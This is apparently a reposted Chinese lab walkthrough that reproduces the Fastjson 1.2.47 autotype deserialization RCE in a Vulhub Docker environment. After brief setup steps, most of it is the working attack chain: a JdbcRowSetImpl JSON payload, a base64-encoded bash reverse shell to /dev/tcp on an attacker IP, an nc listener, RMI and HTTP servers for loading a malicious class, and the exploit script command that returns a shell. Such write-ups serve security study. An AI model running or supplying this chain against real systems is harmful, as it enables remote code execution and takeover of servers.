欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

vlhub

时间:2023-07-27
vlhub_fastjson1.2.45

1、环境搭建

1.1、下载安装docker1.2、将vulhub下载到本地 2、复现过程 1、环境搭建 1.1、下载安装docker

参考:https://zhuanlan.zhihu.com/p/82361096

1.2、将vulhub下载到本地 下载压缩包

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

解压压缩包

unzip vulhub-master.zip

进入目录启动环境

cd /vulhub/fastjson/1.2.47-rcedocker-compose build #将镜像拉到本地docker-compose up -d #启动镜像docker ps


这里要看下.yml文件里的端口是否被占用,默认8080,若默认端口被占用的话,vim修改个端口就好了

然后访问

环境搭建完成

2、复现过程 主机ip地址作用主机1 win10192.168.7.108靶机,基于Vulhub漏洞集成环境运行靶场容器主机1 win10192.168.7.108搭建 Web 服务器和 RMI 服务主机2 kali2019192.168.210.129发送payload,nc 接收反弹Shell

漏洞产生原因:

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行漏洞产生。

查看fastjson漏洞利用工具的pyload

POST /note/submit/param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP:port/Exploit","autoCommit":true}}}

exp下载:
https://github.com/zhzyker/exphub/tree/master/fastjson

主机2开启环境后基本不用管了

主机1监听端口

nc - lvp 8888


主机1 使用python搭建一个临时的web服务
此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

# 如果你的环境是python2,使用的命令是:python -m SimpleHTTPServer 8088# 如果是python3,使用的命令是:python -m http.server 8088

主机1运行RMI服务,加载恶意java类

这里需要先把反弹shell的payload进行base64编码

bash -i >& /dev/tcp/192.168.7.108/8888 0>&1

接下来需要启用 RMI 服务。使用工具里的fastjson_tool.jar 启动一个RMI服务,监听 9999 端口,并指定加载远程类Object.class,如下图所示:

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.7.108 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcuMTA4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

发送反序列化代码漏洞执行命令

python fastjson-1.2.47_rce.py http://192.168.210.129:8090 rmi://192.168.7.108:9999/Object


然后nc窗口接收到shell

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。